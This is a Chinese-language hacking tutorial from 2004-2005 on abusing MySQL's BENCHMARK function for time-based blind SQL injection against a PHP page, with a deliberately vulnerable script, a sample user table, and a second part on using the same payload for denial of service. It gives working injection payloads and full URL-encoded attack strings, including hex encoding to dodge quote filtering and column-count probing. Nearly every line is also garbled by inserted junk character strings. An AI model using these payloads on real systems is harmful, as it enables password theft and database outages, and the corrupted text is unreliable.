MYSQL中BENCHMARK函数的利用
( e# _( v) ?% E A* Q4 ~' p本文作者:SuperHei+ P F. L. U& h! {) a
文章性质:原创
@2 ~* {' v% P4 O" H- ?发布日期:2005-01-02
; ?7 V, M0 z2 ]9 u/ j6 T8 u完成日期:2004-07-09 3 z, P9 l- }- X9 S; B" \ s
第一部
' @. }, N" u5 _ v$ P; f* @) L- O1 J
Z% }$ i) c# [, [5 g利用时间推延进行注射---BENCHMARK函数在注射中的利用 1 |, T$ D E7 P' P! v) M
' g/ Y8 l$ n S+ \. l
一.前言/思路7 T. V, t- W' ^* F6 U
/ U& n7 `. \8 f; v( _8 P 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
- F# J: g( J& O# d8 |* O: u. r7 E* k2 d5 l8 ` l* h$ \9 ?/ i8 }
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
1 K& j/ t* T- c! ~# i) E) x
% r- v X/ D2 P; \- u6 l二.关于BENCHMARK函数
. d9 Q5 i# j, P- g1 a2 Q, `5 M. T
( I" H. ~' o, v4 a5 l 在MySQL参考手册里可以看到如下描叙: 6 X* {. a2 A; i3 V+ }8 v* R
$ N7 N5 \- P; M& E; {
; i; t; V0 k8 L" i" f--------------------------------------------------------------------------------$ Y C; C- p2 J9 @$ M. }
4 R: `' \% _# T* y7 s1 T$ |0 |+ P
BENCHMARK(count,expr)
6 W9 P% o' f0 Z& y5 J, a! @BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
- u5 F( e* d4 X) \2 H0 @' g% Smysql> select BENCHMARK(1000000,encode("hello","goodbye"));
8 e Q1 z- L2 B; m1 y. K8 Q+----------------------------------------------+ - r3 K% W" K) _0 |& v' q
| BENCHMARK(1000000,encode("hello","goodbye")) | * v6 X/ `5 U8 p7 X5 O) {. j* A9 X& V
+----------------------------------------------+
8 J, m. V1 P" V! P| 0 |
) c+ ?! l1 F' f) J z9 n A1 Z+----------------------------------------------+ % d8 r/ W a. d. f) b) C
1 row in set (4.74 sec)
. R2 E% ]# w; N7 A2 O3 V \) n9 Y
* |4 ~2 O, @! i, {报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
. r0 c/ S/ L2 L- F2 Y) a5 H9 p* j8 f. u! O0 A, w
1 |- I0 P w, t3 @9 O
--------------------------------------------------------------------------------# V4 q0 G/ ]. w/ W' }4 \" [
+ C R- w/ |/ ^
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 6 X: O4 E# q! Y' k: v4 X
# V i+ a3 E, E* r8 h h! f
mysql> select md5( 'test' ); $ T7 A0 j+ ~: N
+----------------------------------+
( }/ I+ N; F- \- U/ [; {| md5( 'test' ) | |/ `( }# U* M; d; n/ H
+----------------------------------+
9 f- x' J1 G: z9 |9 `! o| 098f6bcd4621d373cade4e832627b4f6 | : w8 r. [( k* ~2 h& ~
+----------------------------------+ 0 d/ Y0 j) i+ r$ y8 N9 {' M
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 3 O8 D4 K: U; |( ?6 E, N
! n2 A2 w f0 G6 A+ T5 y' T% z. ] Tmysql> select benchmark( 500000, md5( 'test' ) );
1 y7 T2 \5 l! T* R6 ?# Y+------------------------------------+ % y: `: o1 d* J0 }) {
| benchmark( 500000, md5( 'test' ) ) |
0 E: [8 y h. H0 h+------------------------------------+ 2 I! e @" j/ {) K, X5 K
| 0 | $ {4 K! y( a# b0 {! |( U
+------------------------------------+
: F6 n. y: A- j L" B) h1 row in set (6.55 sec) 〈------------执行时间为6.55 sec/ c2 v( r+ I+ Q& J
5 P/ Y, d' ~' ]5 {3 V
% z# R2 U$ j9 J1 M8 ~ 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 / s# b, c) q# T4 G2 _, {
& o9 S3 a F, u7 D$ l/ N7 q三.具体例子) m+ Q, G. A0 }6 b2 ]* N" b: D
$ D. y9 Y, H4 V$ T8 y4 ? 首先我们看个简单的php代码:
5 m, @4 K5 Q! B0 ?# I, U7 q' w _' b
< ?php
) }0 J' i5 L2 y; l: L0 T7 h7 \$servername = "localhost";
+ f' w2 n& y, U# n0 K$dbusername = "root"; . `: N! h& K8 `+ W
$dbpassword = ""; ; [7 d7 _0 W( m5 G
$dbname = "injection"; + f2 \0 c/ T) }! G/ h/ w# Q* M
- B! o; Z: o* kmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 l) N4 ~5 I0 x+ d; g" r
! ?8 R, u: q; p( P3 K( P$ a
$sql = "SELECT * FROM article WHERE articleid=$id"; 0 G: u1 b8 h. {/ B/ F5 P1 R" @' I
$result = mysql_db_query($dbname,$sql); 4 j3 U) G# S' G
$row = mysql_fetch_array($result); % {9 O9 N' f M6 D o7 o
2 ^# W9 p+ ~; g: g" S$ }if (!$row)
4 h1 z* h3 H3 I4 s{ 7 Q) X% w* U" h2 n( L: J( Y0 A4 I
exit; ; z9 R3 b0 G; [- |0 ^: e2 S
}
5 [% ~: H" h: l0 q?>
+ S3 ?% U; @6 D8 v
% R1 T2 S" ?5 F$ Y0 P! s8 R* v+ ]3 b2 f1 T, w
数据库injection结构和内容如下:
9 y; N! i1 v2 i1 h/ S) d
2 F6 q- d) [7 [) f1 t2 z& q, v1 s/ _# 数据库 : `injection` ' ]( W% f& |5 {, j
# 2 g; h6 h5 _/ U* c+ i% O
N$ f4 V2 N; `4 S; o1 w# --------------------------------------------------------
* K2 e( h" _, _/ v" `2 L, R+ w! |. O3 b( K. b
#
l' `$ a5 A/ ~5 G* u# L# 表的结构 `article` 5 Q; a5 x9 j b6 u
# 2 Y' E3 a5 A4 _, S
& L4 k( j! r3 W: a9 p, n# p
CREATE TABLE `article` ( 1 u+ t/ d6 d# F& S4 P& `# U
`articleid` int(11) NOT NULL auto_increment,
- J; Z* `, D: w4 |8 ^`title` varchar(100) NOT NULL default '', ! I2 W2 @. Q& F( ]& x
`content` text NOT NULL, 5 o4 J5 l/ Z) I
PRIMARY KEY (`articleid`) 1 I5 Z* G# B' [
) TYPE=MyISAM AUTO_INCREMENT=3 ;
' C$ w9 i9 g D* N, K3 ` T P
* s$ m5 `$ W, j. h" c7 S+ ]. C! d#
2 n; X% s9 c9 u# 导出表中的数据 `article`
0 C3 n+ O7 w- r2 a, b#
! n0 t2 a% S4 d2 W; n# C) P9 j- `% w' n4 m5 a
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
- o) P. \$ O8 T3 m O$ |8 I& eINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * Z* g/ W5 C+ W) x" U& n
a& m9 o' M8 |4 |* ]7 p" O
# --------------------------------------------------------
/ O5 y: S2 ^# r: Y+ T; [/ x
+ z: A! v+ ]$ G- H#
; K8 {6 Z5 Q$ [! y% g# 表的结构 `user`
" ~: M8 j: a7 n. P+ |# i# * U( ?/ U+ R$ i( \
- Q4 C. [ H3 d1 m6 _3 \- V* ACREATE TABLE `user` ( ' r6 J' H, W- i' a
`userid` int(11) NOT NULL auto_increment,
+ w$ N7 L. x0 Y" F`username` varchar(20) NOT NULL default '',
( M" I) [/ T. Y+ i. @3 I1 a`password` varchar(20) NOT NULL default '', * R P: R$ i. ^
PRIMARY KEY (`userid`)
& ]0 R( G* @3 m* D' m2 M) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 \4 A* g# {1 L5 ?: G8 A
# V _7 G+ y/ p* U! G7 e- u x# ( D4 _7 i; a% y2 B0 H
# 导出表中的数据 `user` 5 o$ D ?5 z. }+ O
# 3 b8 n9 C# z& K( l* z
& w5 u, ~$ x2 [. Y5 ?- K
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
5 o: N y# C N8 ~ `' \INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* E5 K4 {* h8 W2 b 9 r( v2 D1 B: X8 ]4 O3 t* G
" ^1 q% Y+ j# h 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
! M- U3 u* `& R: u7 k* M: {4 W/ a
( u; g6 Q: {9 I+ T _id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*& h2 A8 X, B4 o; n2 f
) y8 A. O. k6 j* A0 L. L
! E2 s$ g0 U) n/ @+ F! j" `% F- `5 K 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
0 M6 U$ H. [: w8 u6 g3 S F7 M; b& k7 _4 w! G
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*& O" b8 I- Y# B* G; A
- ~ W' B( `; ?, Q+ i! u( J1 @& B) `; w8 u6 C- S8 H
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
( [" j) }1 y- P' r0 F
3 F5 s' a$ t$ X. r9 W5 i 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
/ \9 x1 ~6 t( W7 p0 b/ A: M: k; ~5 T# }- {5 f
第二部
& X* u1 e6 A o6 f
- l6 \5 S* c; r* H" a3 F利用BENCHMARK函数进行ddos攻击 4 \6 x. x- I* G1 F) [
% s9 ^* s7 R. |: x+ ~2 S& a 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
( t9 b/ H o1 k2 x: i
4 e2 O# n- k+ }- U8 Ehttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
5 I% R4 S' ]3 Y) h4 d+ E3 L. u2 T7 f# e / v% Z4 i' q6 {! z0 r! T! F
! N* k# s c" q0 a. h小结) E C, U& r6 @ m" V g
: v. l( ~- N" T; A 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。; _8 ?- y% f& t$ ~3 o. d
7 @" `- R- ^5 m5 Q6 V9 | & b# H& w* y, h. J5 _/ {$ D
|